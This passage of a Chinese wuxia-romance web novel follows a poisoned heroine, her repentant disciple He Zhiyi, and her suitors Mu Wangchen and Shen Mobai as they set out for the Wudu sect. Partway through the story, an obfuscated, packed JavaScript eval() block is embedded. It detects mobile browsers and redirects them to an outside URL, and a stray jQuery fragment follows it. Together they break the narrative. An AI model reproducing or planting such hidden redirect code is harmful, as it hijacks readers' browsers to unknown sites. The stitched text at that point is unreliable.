屋里被架起无数炭盆,我泡在浴桶里,浴桶下面是不停加热的炭火。房间里蒸腾着迷蒙的热气,仿佛是一个巨大的桑拿房。 我就这样渡过了三日,每一日,我都会比前日更冷一些。 第一日还算好,第二日,我的意识开始模糊,呼吸变得困难。第三日,我长时间陷入昏睡,我的骨头在极度的还冷中刺痛,仿佛随时都会碎裂。脏器也随时都会有衰竭的可能。 穆忘尘从背后抱着我,下巴枕在我的肩上。汗水顺着他的额角落到下巴,而后坠落在我冰冷的皮肤上,落下一个淡淡的水痕。 我努力抬起手,摸了摸他苍白的侧脸,轻声道,“你去休息一会儿吧。” 这三日,穆忘尘不眠不休得为我叙气驱寒,他数次力竭,却仍旧是强撑着拼命用内力护着我的心脉。若不是如此,我怕是早已死于寒冷而造成的心脉衰竭。 穆忘尘疲惫得几乎说不出话,只是无声将我又楼紧了一些,覆在我背后的掌心里又一次灌入一注温热的真气。 我这会儿意识难得清醒,便柔声劝道,“没事的,让杜青娥她来替你一会儿。听话。” 曾经我对杜美眉的确是有很深的成见的。总觉得这姑娘做作虚伪又娇气。只是谁没年轻过呢?作为一个正常的姑娘,略微有些虚伪做作和娇气也是无伤大雅的。这几日杜青娥也几乎是衣不解带得照顾我,穆忘尘实在支撑不住的时候便由她来护我。只是三日,她整个人也瘦了一圈,我看着她那副模样,心里便对自己曾经那般欺负她的过往产生了些愧疚的情绪。 我正想着杜青娥,突然门外就传来杜青娥焦急的声音,“我峨眉派与你镜花宫井水不犯河水!你不要欺人太甚!” 穆忘尘也突然抬起头来,显然门外那位不速之客颇为棘手。 我此时正和他前胸贴后背,他身体肌肉瞬间的紧张让我也立刻察觉。 “镜花宫?”穆忘尘和我对视了一眼。见我也是一脸疑惑便解释道,“这几日杜掌门派人去探查有关寒毒的消息,因为怀疑与‘冰火两重天’有关,故而大约是惊动了镜花宫。” 我“噢”了一声,还没来得及继续说,就听到门外一个冰冷如雪却分外熟悉的声音一字一句道,“我来只为救她,谁拦我,谁死。” 然后就是一阵妹子们小哥们的惨叫。 紧接着,我这屋子的房门就“轰”得一声碎成了无数块,七零八落在房间里掉了一地,还打翻了好几个炭盆。屋内氤氲的热气倏然被门外的气流吹散,隔着袅袅的蒸汽,我看到一个墨色华服黑羽绣冠的男子的身影,而在他身后的园子里,横七竖八躺满了刚被蹂|躏了的峨眉派妹子,其中包括了杜青娥。她倒在地上仍旧不死心想要站起来,可是试了几次都是白费功夫。我顿时更加觉得自己对不起她了…… 何知易站在房门口,他的身影逆着光线,一如当日追杀我那般鬓若刀裁,眉如墨画,面如兰花。他的身上是一种介于少年与青年之间的清秀俊雅和一种常年被养在世外的不食人间烟火。端端静默站在那里,就让人觉得挪不开眼。 只是,何小帅哥的目光,似有几分不善。 他看着房间里泡在浴桶里的我和穆忘尘,看到我们那个暧昧不清的姿势,一时间不知是该走进来还是该转身出去。他面无表情得盯着我,许久都一动不动,真让我怀疑这孩子是不是冻住了…… 森冷的寒意让我受不住得往穆忘尘怀里躲了躲。 “我以为……你中了毒。”过了许久,何知易才开口。 我努力止住声音的颤抖,浅淡笑了一下,反问,“你哪只眼睛看到我没中毒?” 何知易被我噎了一句,皱了一下眉头,几乎是脱口而出讽刺,“你倒还真是有闲情逸致。” 我微微愣了一下,不知为何,何知易眼里瞬间闪过一丝愧疚和懊悔。他这些年是与我斗嘴斗得习惯了顺口了,一时间竟然是习惯成自然,改也改不掉,不呛我两句就混是不舒坦。 我眨了眨眼睛,随后眯起眼睛笑得更加明显,“俗话说牡丹花下死做鬼也风流,命不久矣,我自然是不能亏待自己要抓紧享乐,你说,是不是?知易公子来此又是作什么?是仍念着我们之间那点故旧,所以专程来送我一程?亦或是……觉得我尚未还清对你的亏欠,想要亲手送我上路?” 何知易的脸色骤然变得很难看,下唇被咬得苍白,却无话可说。 穆忘尘自然是听出我和何知易对话之中有些擦枪走火的火药味,但是又疑惑我们俩言语之间的随意和熟稔,听了半天竟是猜不出我们之间到底是何种关系。 他不动声色之间把我往背后藏了藏,面色不善对着何知易道,“不知镜花宫的少主大驾光临此处,又打伤峨眉门下弟子,擅闯他人卧寝,到底是有何要事?” 毕竟是鸳鸯浴被人撞破,即便是涵养极佳如穆忘尘这般,也有点脸上挂不住。 何知易的目光扫过穆忘尘护着我的手臂,然后落在他脸上,忽然自言自语般说,“原来你就是 …….” “何知易!” 何知易察觉我神色有变,顿了一下收住话题,转而看着穆忘尘道,“我来……看看她。” 哦?那就是前者了?我苍白无力苦笑着扬了扬嘴角。 原来,这些年我们之间的相处也不只是谎言欺骗与逢场作戏,我这性子良善的乖徒弟时至今日仍旧会念及一些师徒之情。 “看也总要等我更了衣在看吧?”我笑着揶揄道,“知易公子你何必如此心急?我一时半刻内还是死不了的。” 何知易脸色不变,耳根却可疑得发红。 他旋即转身,想要转身走开,却想起大门已经被他整了个稀巴烂,无奈只好再回头进屋,拉过摆在屋角的屏风遮在门前。 他的声音在屏风后面闷闷响起来,“快些。” 我几乎是脱了力连手指都无法抬起来,只能被穆忘尘从桶里捞出来的,替我穿了衣服在床上安置好。我的体温持续在下降,何知易到床前替我探脉的时候,我已经陷入了昏沉之中,只能隐隐约约听到他们的对话,却无法做出什么反应。 “你可知如何解除她身上的寒毒?” “你出去。” “何知易,你不要太过份!” “不想她死,就立即出去。” “……若是她有任何闪失,我定叫你偿命!” “你没那个本事。” “......" 我突然觉得穆忘尘好可怜。 当年我果真没看错何知易,这直刀子进,直刀子出的毒舌本事,直直是能将人堵得胸闷气短头晕脑胀,偏偏找不出话来反驳,气得一口老血喷出来。 后来我便没了意识。 待我醒来的时候,已经不知过了多久。 何知易坐在床边皱着眉头沉思。那素来没有什么表情的脸,这一刻挂着一抹疲惫和落寞,眉宇间全然是与他年龄毫不相干的沉重。 下一刻,我便发觉身上的寒气已经去了大半,虽然身体仍旧是虚弱,但至少不再有性命之忧。 我轻轻咳了一声,何知易这才从沉思中回神,自然而然伸手探了一下我的脉象,脸上凝重的神色仍旧不见好转。 我轻轻吸了一口气,强笑道,“为何要救我?” 何知易微微咬了一下唇,没有说话。 我不知他在想什么,也不明白何知易为什么要来救我。 也许只是医者的天性让他无法放任我就这样死掉?又或者是他废了我的武功尚未觉得解气,不肯让我死得这般轻松? 我思及至此,苦笑一声,“让我死了,你我恩怨一笔勾销岂不是正好?何苦又来救我呢?莫非是想要我下辈子当牛做马来报答你?” 我话还没说完,何知易突然起身,“噗通”一声跪倒了。 这一跪倒是把我吓了个不轻,那个苦笑就直接僵在脸上了。 “顾染织……临死前,已经告知我真相。” 我瞪着眼睛看着他,不知作何反应。这次,我真是愣住了。 我万万想不到,顾染织竟是留下了这么个后招。 他这人,即便是死,也不会让自己看不顺眼的人过得称心。明明是看上去最洒脱的一个,却偏偏是最固执放不下的一个。 “师傅……”何知易几乎是声音发颤得说出这三个字,便再也说不出其他的话来。我见他垂在身侧的手指死死攥成拳,指缝里已经渗出丝丝血迹。 看来,这孩子是自己与自己计较上了。 我突然想起曾经冷将息待我,自己也身为人师,突然我便可以理解冷将息当年所为了。 当年冷将息让我误以为他为玉宇琼楼所害,抛下我一人; 如今我另何知易以为我是他的灭门仇人,让他害我,让他夺取教主之位,让他一个少年担起镜花宫教主这重担,更让他以为自己恩将仇报,罪孽深重,此世不得安宁…… 我只是自己活腻歪了,便利用何知易来报复我自己。想起来,我比起师傅来,更是无情更是冷血。算起来,明明是我对不起这孩子。 想到这里,我便勉强撑起身体坐起来,一只手轻轻放在他肩上,“是我对不起你。” 何知易闻言,诧异得抬起头来望着我。 “对不起,让你一个人承担这一切。” “我……”何知易肩微微颤了一下,他随即用力得咬紧嘴唇,硬生生竟是把唇都咬出了血。 他后面的话没有说出来,他不说,我也懂。 “不是你的错,”我拍了拍他的肩膀,特别爽快得笑道,“都已经是过去的事了,你别总是婆婆妈妈的了,你看我这不是还苟延残喘活得挺好么。” “师傅……”他仍跪在地上,低着头,让我看不到他的神色,“我知道您将我父母合葬在一起。您对我如此,我却……” 何知易说得那么苦大仇深,想必是这些日子里把当年我做的许多陈年旧事都翻了出来,把往日我种种对他的好都记了起来,结果越发钻牛角尖,越发自责。 我几乎对何知易这种遭遇感同身受,越发觉得自己对这才不过十八岁的孩子太严苛了些,于是干咳着打哈哈,“好了好了,你看为师现在不是好好的嘛,你之前没尽为徒之道,以后要好好孝敬我啊……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349900|183548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何知易沉默了许久。他望着我,犹豫再三,终于还是说,“我……害了顾染织。” 他语落,我亦是一怔,心脏狠狠钝痛了一下。 “顾染织去前,托我转给您一句话——” 那一瞬间,我突然很怕,很想阻止他继续说下去,但是我却又不忍心阻止。 最后,我听到他说,“‘心甘情愿,一生未悔’。” 我闭上眼睛,用力扬起了脖子。 风声萧萧,月色如水。忽然便似乎是回到了多年前锦官城中,我与顾染织初遇的那一天。 相遇却是一场冤孽。 十年相伴转头成空,葬愁难休。欢情短,别痛久。此去去半世缘灭,三生死两,何事此路长 一时间,我胸口一窒,突然不可抑制得咳嗽起来,毫无预警胸口又是一阵绞痛,竟然不可抑制咳出了血。 何知易也没料到我竟会如此,愣在原地。 ··· 穆忘尘冲进门来便看到我紧抓着何知易的肩头,捂着嘴的指缝间全是鲜血,满床满地也都是嫣红色的血,触目惊心。 他以为何知易对我做了什么,瞬间理智全无,冲上来照着何知易的脸就是一拳。这一拳极重,何知易向后退了两步,脸被打得偏向一边。嘴角沁出一丝嫣红的血迹来。 我咳得上气不接下气,自然没闲工夫去拉架。 还好何知易虽然被打了脸却丝毫没有要还手的迹象,穆忘尘更担心我,便把何知易扔在一边,过来搂住我。 穆忘尘心疼得抚着我的后背,厉声质问何知易,“她怎么了?” 何知易目光略微一闪,低声道,“七情内伤,肝气郁结郁而化火,肝火上犯损伤胃络,迫血上行致吐血。” “情伤?”穆忘尘的脸色也愈发白了一分。 我抬手摇了摇头,阻止他继续说下去。 何知易看了我一眼,道,“她中的是五毒教的蛊毒‘七日寒蝉’,毒发七日,一日比一日冷,最后活活冻死。此蛊毒我只能暂且以内力和药石抑制,但若要解毒,必须要五毒教教主花袭衣亲自来解。” 穆忘尘目光一敛,“五毒教?” 五毒教地处南蛮,素来蛰伏于南疆,与武林门派极少有所牵连。为何会对一个名不见经传的姑娘下毒手? 我好不容易止住了咳嗽,手背蹭了一下嘴角的血迹。 刚才何知易未说有关此毒的事,我此时一听也很是诧异。 花袭衣为何要对我下手?我可不记得自己曾经有什么地方招惹了这位毒仙…… 我转念,说起五毒教主花袭衣,我倒是想起了另外一个人——冷将息的夫人,颜行香。颜行香与花袭衣交情匪浅,曾经是闺中密友。莫非此事又与冷将息欠的那一屁股情债有关?若真是如此,那我上辈子定然是欠了他的孽债,这辈子总要倒霉来偿还。 思及至此,我沉沉叹了口气,颇为无奈。 何知易低头望着我,一字一句,极其认真道,“你我即刻前往五毒教。我定会让她替你解了这蛊毒。” 我苦笑了一下。若真是花袭衣下毒害我,又怎么会轻易愿意替我解毒? 穆忘尘的目光落在何知易身上,带着一股浓浓的探究和疑虑,“何少主,恕在下冒昧,可否一问你与十四姑娘到底是何关系,你竟为她做到如此地步。” 何知易作为镜花宫新任少主,这两年可谓是在江湖上声名鹊起,风头一度甚至越过了沈墨白。虽然何知易低调低调再低调,几乎鲜少在江湖中露面,但恰恰是如此,江湖中关于其的传说更是被传得神乎其神。 有关何知易的身世,官方认同的说法乃是如下这一版本:何知易原本是云顶山庄的庶子,其生母遭云顶山庄前任庄主夫人迫害致死,故而何知易怀恨在心。其后不知为何他被白玉蛟相中,白玉蛟助其在一夜之间杀尽云顶山庄数百口人,老弱妇孺皆不曾幸免,而何知易此后便随白玉蛟回到镜花宫,成为新一代少主。 江湖见其人者言:此人阴郁沉默,城府极深,怕是比起飞扬跋扈的白玉蛟来,更加难以对付的一个狠角色。 何知易冷着一张冰山脸没有回答。 我想了想,回答道,“我和知易是旧识,算是同是天涯沦落人吧。那会儿他还并非是镜花宫的人。” 何知易浓长若蝶翼的睫毛微微闪了一下,嘴唇微微抿起,没有说话。 我这简短的一句话,让我们恰恰都想起了那一日——在那个阳光温润的午后,我和何知易蹲在墙角下面,他小心翼翼打开纸包,递给我一颗蜜饯。 彼时他只是一个守着疯了的母亲,每日靠卖草药为生,形单影只的少年。我只是一个来历不明的小丫头片子。 有些记忆在时光和岁月的磨砺之中变得模糊不堪,有些记忆却被洗刷得越发清晰。 何知易何知易,他是我第一个也是唯一一个徒弟。 说到底,我这人极是护短的,对于我在意的人看得极重。 我不愿何知易再走上我的老路,不愿他如我一般被自责所累。 若是可能,我愿为他解开心结,只愿他此后的人生,静好无恙,岁月安和。 65. 蜀黍容颜改,萝莉应犹在 解毒之事事不宜迟,我与穆忘尘何知易三人打算第二日一早就上路。 我方才沐浴完,只着了一件凉薄的夏衫坐在床边擦拭着头发上的水珠,忽然感觉桌上的蜡烛火焰微微一晃,紧接着,一个人影毫无声息从窗子里翻了进来。 我瞥了一眼来人,那人一袭白衣,一头青丝微散,零落的墨发顺着额迹落在颊边,发丝之下是一双狭长的凤目。 我坐怀不乱继续擦头发,哼了一声,“哟,你这武林盟主做的可够优哉游哉的,闲暇之余还可私闯姑娘家的闺房。” 沈墨白站在屋角里望着我,目光一直都定在我身上。 我见他半天不说话,便奇怪得看他一眼,却见他那双眸子里闪着一抹淡淡的光晕,亮得仿佛是满月落在了碧潭之中。 沈墨白酝酿了半天,眨眨眼睛认真道,“蛟蛟,没想到你年轻时竟是这般好看……” 沈墨白话音没落,就被我一只鞋子稳准狠PIA在脸上,“滚!” 沈墨白赶紧补上一句,“不管你是六岁十六还是六十,你变成什么样我都喜欢…….” 于是,另外一只鞋也稳准狠PIA了过去,“变|态!” ··· 沈墨白走到我的床边蹲下。 他的身上有一种初夏夏夜里独有的更深露浓的味道。清新而又幽长。 我下意识侧头嗅了嗅。 沈墨白立刻也紧张得抬起胳膊嗅了嗅身上的味道,心虚的小声道,“莫非是有汗味?” 我居高临下瞪了他一眼,“你要不要这么变态,连汗都是香的?” 我这话明贬暗褒,沈墨白立即就反应过来,娇羞得调侃,“人家天生体带异香嘛。” 我于是又是一脚毫不留情踢过去,不过本小姐方才沐浴完,并没有穿鞋袜,于是一只光裸裸白嫩嫩的脚就被沈墨白一下握在了手里。他嘿嘿笑道,“这味道大概是花香吧,我刚才抄近道从峨眉后山的山谷花丛间爬上来的,那里有许多兰花与夜来香。” “峨眉后山有花?这我倒是从未注意过。” 沈墨白别有暗示得捏了捏我的脚,“等解开你身上的蛊毒,我们回来一起去可好?” 沈墨白色迷迷摸着我的脚背,我本来是想把脚抽出来,但是转念之间,邪邪一笑,往软枕上一靠,把另外一只脚也揣到他怀里,“正巧本座这几日身体寒气重,小沈子,还不快给本座揉揉捏捏,按摩按摩。” 沈墨白一脸委屈,“你倒是会使唤我,你是不知道我这一路跑死了多少匹马才从金陵一路赶来峨眉。” 他嘴上虽这样说,手上却还是认真得揉揉按按。不得不说,小沈子还挺有伺候人的天分,本座被这么一按还真有种全身舒坦松快的感觉。 我舒服得躺在床上,翻了个白眼,“活该。” 沈墨白手上微微使力,愤然控诉,“没心没肺!穆忘尘前脚到峨眉,后脚就冒出来了个十四姑娘。我一猜便知那个‘十四’定然是你!你这小蹄子非要我吃醋酸死才开心么?!” 我懒洋洋靠在枕头上继续翻白眼,“谁管你。” 沈墨白无语,戚戚然一脸弃妇样。 沈墨白按了半天,我也已然擦干了头发。于是,我抽回自己的脚在床上躺好,隐晦得对沈墨白下逐客令,“我要睡了。” 只是,我忘记沈墨白此人不知好歹并且脸皮堪比城墙拐角。 沈墨白点点头,径直在床前的脚踏上坐下了。 他趴在床边,把我的手从被子里摸出来,小心翼翼握在掌心里,而后用脸蹭了蹭我的手心,轻声说,“我好几天没睡了,让我眯会……” 然后,这货就大喇喇趴在床边上睡着了。 我本来是想一把把他给推床底下去,但是目光落在他满是疲惫的睡着的侧脸,伸过去推他的手就蓦然停住了。我的手在空气里停顿了一下,指尖转而落在他侧脸上的那道深刻的刀疤上。我的指尖只是掠过那道伤疤,就如同被灼烫了一般避开。 那道伤痕仿佛是嵌在莹润玉石之中的一道裂痕,狰狞而丑陋,毫不留情得粉碎了原本的完美。 沈墨白似乎是睡得不甚安稳,我试着把手指从他掌心里抽出去,他的眉心便倏然蹙紧。我于是只好放弃,为了解恨,我狠狠扯了扯他的耳朵又捏了捏他的鼻子,把在睡梦中的沈墨白捏得哼哼嗯嗯了一阵。 我被他捉着手指睡了一夜。第二日一早,房间里便没了这人渣的踪迹。我淡定起床更衣,却见多宝阁上的花瓶里插着几株犹挂着露水的莲瓣兰。 我看着那株兰花看了很久。 突然间,我想起沈墨白曾经说的一句话。他说“你能不能不要对我,对自己那么凉薄。” 我那时回答他说:不能。 我大概是真的学不会怎么样能对自己好一点,对他也好一点。 ··· 我穿着收拾妥当便出门去小厅找十四。何知易昨日将将把峨眉派众人痛扁了一顿,自然是不好意思借宿在峨眉里。昨晚便住在了外头。不过我大镜花宫财大气粗,总不会苦了这小子。 我走进小厅,一抬头便看到穆忘尘和沈墨白两人坐在一起,十分和谐得喝茶。两人皆是一袭白衣委地,只是一个玉冠博带,君子端方温润如玉,一个是一脸痞样,坐没坐相。 穆忘尘看着我,端着茶杯傻傻愣住了。 此时秦黛黛碰巧进门,走到我身边指着我失口惊呼,“十四姑娘!你,你怎么穿了男装?” 我走到沈墨白隔壁的位子,一撩衣摆,大模大样坐下,“这不是明摆着么?男装又舒服又方便。出门在外,自然是怎么省事怎么来。” 秦黛黛一听,很是受教,上上下下打俩了我一番,眼睛里冒出两道精光,跃跃欲试道,“十四姑娘你说的很是有道理!你这身打扮,还真像是个少年公子!我下回若是出门办事,也要穿男装!” 我看了她一眼,“好心”提醒道,“那你可千万别走错了茅房,被当成变|态打出来。” 秦黛黛闻言,脸色瞬间变得十分黑。 她不死心问,“难道十四姑娘以前穿男装的时候,都是去了,去了男茅房?!” 我很认真点头,“自是如此。我还曾进过男澡堂。”不过是在穿着衣服的情况下…… 秦黛黛彻底败下阵来。 其实我一点也没夸大其词。我自小就爱乔装改扮成男子的模样出外遛弯,稍稍长大后也偏爱穿改良后颇为中性的服装。以至于江湖中人曾一度以为我的的确确是个男人。直到后来我总是强抢良家少侠回去调戏,众人才终于弄清楚我的性别。 秦黛黛郁闷,转头问沈墨白,语气里满是失落,“盟主你怎么来了?穆哥哥明明说雪鉴师傅回来的呀。” 沈墨白笑得璀璨,露出一口齐齐白白的牙齿,“雪鉴暂时脱不开身,我于是替他来了。” 我眼角瞥他一眼。这话说得好听,要不是因为你这人渣来了,雪鉴怎么会脱不开身? 秦黛黛更加郁闷,四下里看了看,突然道,“怎么不见静行妹妹?她明明说今日一定要同十四姑娘和穆哥哥一同前往五毒教的呀。毕竟她和五毒教教主有些故旧,总能帮上点忙。” 沈墨白端起茶杯浅浅抿了一口,眉梢眼角的笑意里全然是算计。 我扬了扬眉,看来,必然是沈墨白做了什么,让颜静行去不成了。 我白了一眼沈墨白,默默腹诽:你昨天到底对她做了什么?让她这会儿都下不来床…… 沈墨白素来与我思维路数极为一致,立即明白我那眼神的意思,于是眉头一扬,凑过来在我耳边低声道,“你想什么呢?我不过是点了她全身十几道大穴罢了……即便有人替她解穴她也六七个时辰不得动弹。” “你够狠。” 穆忘尘自然注意到了我和沈墨白两人眉来眼去。 照理说,我和沈墨白,一个是江湖之上声名鼎盛的武林盟主,一个是来历不明的江湖新人,不应该有任何交集。但是现在我俩这言语间的熟稔程度,明显比之沈墨白与穆忘尘更近一层。 沈墨白与穆忘尘说不上是朋友,大抵只能算是个同僚。穆忘尘知道沈墨白不喜欢他,对他,沈墨白总是带有一种莫名其妙的敌意。 穆忘尘自从失忆以来就一直与沈墨白相识。沈墨白说,穆忘尘是被从长江那场水患中救出来的,大概是在江里误撞了头,所以失了忆。 穆忘尘对于这种说辞,一个字也不信。 他曾经问过秦黛黛自己的来历。秦黛黛虽然被沈墨白下了封口令,但还是偷偷告诉穆忘尘,具体细节她也不清楚,但是曾经穆忘尘有一个很小的妹妹。沈墨白曾经对外宣称那个小姑娘是自己的养女,但是后来穆忘尘失忆,这小女孩也莫名失踪。 穆忘尘觉得自己从未看透过沈墨白此人。这人素来就一副吊儿郎当的样子,仿佛万事都不会上心。他对任何人都挂着笑,却对谁都疏离。他身上有太多秘密,没人能够透过他那张微笑的面孔,知道他那副面孔之下到底在想些什么。 穆忘尘盯着沈墨白,他看到沈墨白看着那个女孩时眼睛里的光,仿佛天上天下,碧落人间,唯卿而已,那是专注地望着情人的眼神。 于是,出于雄性动物对抗情敌的本能,穆忘尘端起护窝老母鸡对付黄鼠狼的架势,盯着沈墨白,“沈兄,你这是要与我们同行?” 沈墨白微笑点头,“那是自然。” 秦黛黛倒抽一口冷气,目光在我和沈墨白之间往返了几次,“你们很熟哦?” 我刚想说“半点都不熟”,还没开口就被沈墨白抢白,“熟啊!熟的不能再熟!我和小十四自小就有娃娃亲。我可是看着她长大的……”说完,他还特别羞涩温柔得一笑,用手比了个高度:“她这么大点的时候,我就日日抱着她。那时候软软嫩嫩白白胖胖,抱在怀里软软香香的,别提多可爱了。” 我撂下手里的茶盏,狠狠踢了他一脚,“少胡扯!你不是跟颜静行订的娃娃亲么!” 沈墨白被我踢了,却更厚颜无耻得用力粘过来,“小十四你不要吃醋嘛,我心里从始至终就只有你一 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我去!我那些衣服的款式都不男不女的,小何如此清俊少年可不要被我这古怪品味给拐坑里去了! 更悲催的是,我上看下看左看右看,怎么看怎么觉得他穿这件衣服竟然无比合宜,俨然已经隐隐有了东方不败第二的神韵…… 我痛心疾首,一个正直青年万一变了态那可如何是好!我这个做师傅的果然是三观有亏,荼毒了后代! 沈墨白转头看向何知易,嘴角仍旧是笑着,目光却是一黯。 他目光又落回我脸上,本来是以为会看到些落寞的神情,却见我一脸花痴盯着何知易,当即便不淡定了,一巴掌“pia”在桌子上,颤声道,”你你你,结交新欢就罢了,新欢竟然还不止一个!” 两个新欢同时看了他一眼。 穆忘尘皱着眉头,表情未变,太阳穴的血管却跳了一跳。 何知易面无表情。 秦黛黛眼睛里流露出浓浓的“羡慕嫉妒恨”,无不赞叹喃喃道,“十四姑娘年纪轻轻……社会关系却好生复杂…..” 我额角的青筋跳了跳。 沈墨白这人渣在一日,我果然就是一日安生不能! 于是,我大手一挥,“你不许跟着去!” 沈墨白抽气,“为什么!” 我:“累赘!” 沈墨白一副弃妇样,委屈道,“那为什么他们可以去!” 我哼哼一笑,指着何知易道,“他武功高医术好,乃是居家旅行杀人越货谋财害命之必备队友,你比得过么?” 沈墨白张了张嘴,无语。 我又指着穆忘尘,“他脸长得好看,我日日看着,便可以陶冶情操保护视力。你个毁容的又比得了吗?你那伤疤脸,别整天出来了!小心吓坏了小朋友!” 沈墨白又张了张嘴,怔怔盯着我看了半天,仍是无语。 何知易大概是看沈墨白着实很可怜,于是面无表情好心道,“你平日里可以戴着面具出来,只是时间久了容易造成毛孔堵塞,生些痤疮…….” 何知易说完便起身道,“马车与马匹已经备好,就停在后院。我去检查随行物品还是否缺漏。 ” 穆忘尘难得见到沈墨白吃瘪,内心默默涌起一股暗爽……于是也落井下石道,“十四姑娘,时间也不早了,准备一下我们就启程吧。” 我点了点头站起来,拉着穆忘尘就往门外走。 沈墨白急急站起来抓着我的袖摆,可怜兮兮得望着我装可怜,“我也不是没有用啊!” 我趾高气扬瞥了他一眼。 沈墨白于是赶紧赔笑道,“我可以洗衣做饭付银子。” 我哼了一声,“钱能解决的问题都不算问题,穆忘尘和何知易都有钱得很。” 沈墨白眨眨眼睛,再接再厉,“我可以讲段子唱小曲给你解闷。” 我看天,作考虑状。 沈墨白扯扯我的衣袖,自暴自弃道,“你看我这张脸如此可怖,半夜还可以当门神替你吓退妖魔鬼怪……” 我听见这句话后,扭头看着他。 沈墨白下意识曲起手指,不自然掩了掩脸上的疤痕。 我看着他的脸,非常认真道,“其实我刚才骗你的,你那道刀疤一点都不难看。” “……真的么?”沈墨白显然很迟疑。 我严肃点头,“嗯,非但不丑,反而衬托出您老人家邪魅狂狷,狂拽霸酷的气质!可惜仅仅一刀还不够标新立异,不如我再补几刀,画成朵花儿的形状,那才真真适合你。” 穆忘尘只觉得这一番对话字字如刀句句见血,光听着都觉得心惊肉跳。他回头看了一眼一败涂地的沈墨白,露出了十分同情的表情。 “你肯带我去了?” “重点不是这个吧……”我翻了个白眼,“难道我不许你跟着你就真的不会跟着了?说这么些个废话干嘛。” 沈墨白笑得特别纯良,“你高兴就好。” 66. 兄友弟恭 初夏的蜀中,树木葱荣,天气晴好,空气清新,婉转流转在鼻息之间还夹杂着一丝花草的清甜。沈墨白和何知易骑着马,穆忘尘驾车,我坐在车辕上头枕着穆忘尘的肩膀。一边哼着小曲,一边剥栗子吃。 ··· 从前我在镜花宫养老那阵子,没事就爱从全国各地搜刮栗子吃。真亏的何知易还记得我的喜好,专程差人从江南运来了珍珠栗。临行时,我看到一个镜花宫的皮靴哥风尘仆仆兜着一大包栗子,伴着一路烟尘滚滚而来。当他和他的马都气喘如狗得站在何知易面前时,我还以为是凤栖梧把镜花宫老窝给烧了呢。 何知易问了三个字,“东西呢?”目光语气颇为严肃。 那人战战兢兢双手奉上一个大兜子。 我看他们神神秘秘,忍不住问了句,“只是何物?” 何知易打开兜子,拿起我的手,又摸出一个栗子放在我手心里,“尝尝?” 我瞬间愣住。 何知易继续解释道,“我知你爱吃这东西。栗子主益气,厚肠胃,补肾气,活血尤效。你最近反胃不食,之前又吐了血,吃些也是有好处。” 我看他说得一本正经头头是道,忍不住“噗嗤”一笑,掂了掂手里的栗子,揶揄了一句,“一骑红尘妃子笑,无人知是栗子来。” 何知易没说话,拿着栗子转身走了,转身时却是看到他耳根子微微发红。 沈墨白默默在一边抱着剑看了半天,我以为他会讽刺何知易两句,却不想他只是走过来把我手里的栗子拿过去,手指微微使力拨开,把栗子仁塞进我嘴巴里。 “你干嘛那样看着我?”我嘴巴里塞着栗子,模糊不清得问。 沈墨白微微弯了眉眼,“既然有好处,你就多吃些。” ·· 我一路剥着栗子壳,一路随手扔到在道上,故而这一路我们都像做了记号似的的明显…… 不过我身边这三只大狼狗,每一个都能杀进江湖武功前十,我有啥好怕的。我觉得我现在就如同从前带着暗卫大狼狗们扫荡江湖时那般底气十足肆无忌惮,这让本座此时的心情尤其轻松舒畅。 我剥了个大个儿的栗子,然后凑到穆忘尘面前,把栗子塞进他嘴里,笑眯眯问,“甜吗?” 穆忘尘愣了一下,目光瞬间与我带着笑意的眼睛对上,又略有几分慌乱的移开。然后,他的脸就慢慢涨红了。 啧啧,脸皮真是薄。 我挪开目光,正好看到策马在我旁边的沈墨白,沈墨白对我眨巴眨巴眼睛,神情颇为委屈可怜。 我露出一个腹黑的笑来,言下之意——嘿嘿嘿,就是不给你吃。 一个被调戏一个被嫌弃,我心情大好。 何知易这时候插话,“不可再多食栗子了。” 我翻了个白眼,“知易你也忒小气了。” 何知易想了想,扔出一记直球,“会长胖。” 我于是慢慢放下手里的栗子,偃旗息鼓。 此时正是午后,阳光散漫落在地上,给一切镶上一层毛茸茸的金边,温暖得让人生出一些懒散的倦意。 我靠着穆忘尘打盹,忽然产生一种全家出门郊游踏青的错觉,嘴角忍不住扬起一丝丝不易察觉的笑来。刚想到这里,又觉得自己真是忒没出息。 ··· 何知易给我备的马车真真是华丽得能刺瞎狗眼。那车辇高一丈一尺一寸,由朱木制造。辇箱四角各有一个柱子,柱上为四根镂金垂云的曲梁,梁上支撑描金圆顶,上面饰着金玉顶板。金云叶青缎料的帷幔自辇顶披至辇箱。 那车辇由四匹通体雪白的骏马拉着。如今正是畜生奇缺的时候,我们这一行六匹马全是西域大宛国买来的汗血马,这马在中原极其少见,可谓是有市无价。这几匹马全是沈墨白弄来的,我们本来是六匹三河马,走出峨眉地界,途径驿站的时候,突然有人送来这六匹白马。我自然是一眼看过去目光就舍不得挪开,于是便把这几匹马换了来。沈墨白虽然不说,我也知道这事儿只能是他干的,试想这中原武林门派,还有哪个能比玉宇琼楼更有钱?还有哪个能比玉宇琼楼这家姓“白”的家伙更偏执于白色? 这车真乃是华丽得直至刺瞎狗眼,从三百六十度全方位展现着除我之外这几人高帅富的身份。 我们一路抄小道,避开了主路和大城,于是吸引了一大批七线城市,没见过世面且缺钱却得紧的地痞流氓、绿林好汉的注意。又是由于骑马的和赶车的家伙实在是生的玉树临风风流倜傥,又吸引了无数民风剽悍的乡野野花一路追杀。 我们这一路,到目前为止遭遇了山贼三次,劫道四次,卖身葬父,一心许嫁者不计其数。 由于我们这一路日日赶路,日子实在是过得无聊得发慌,故而每次我看到拦路打劫,包括劫色的,本座就特别兴奋!就像猫捉住耗子都不急着咬死,非得按住了玩弄一会儿一样,我坚决反对何知易等人速战速决。 此时此刻,我方方困得快要睡着,就碰上了一路非职业拦路抢劫人员。 他们在距离马车五丈开外处停下。人人手里挥舞着“刀枪棍棒”,不过若是仔细瞧瞧,便会发现不少人拿着菜刀擀面杖等厨房用品混在其中充数。他们虽然脸上蒙着黑布,但是从体态上来看,其中不乏大姨大妈大姨妈。 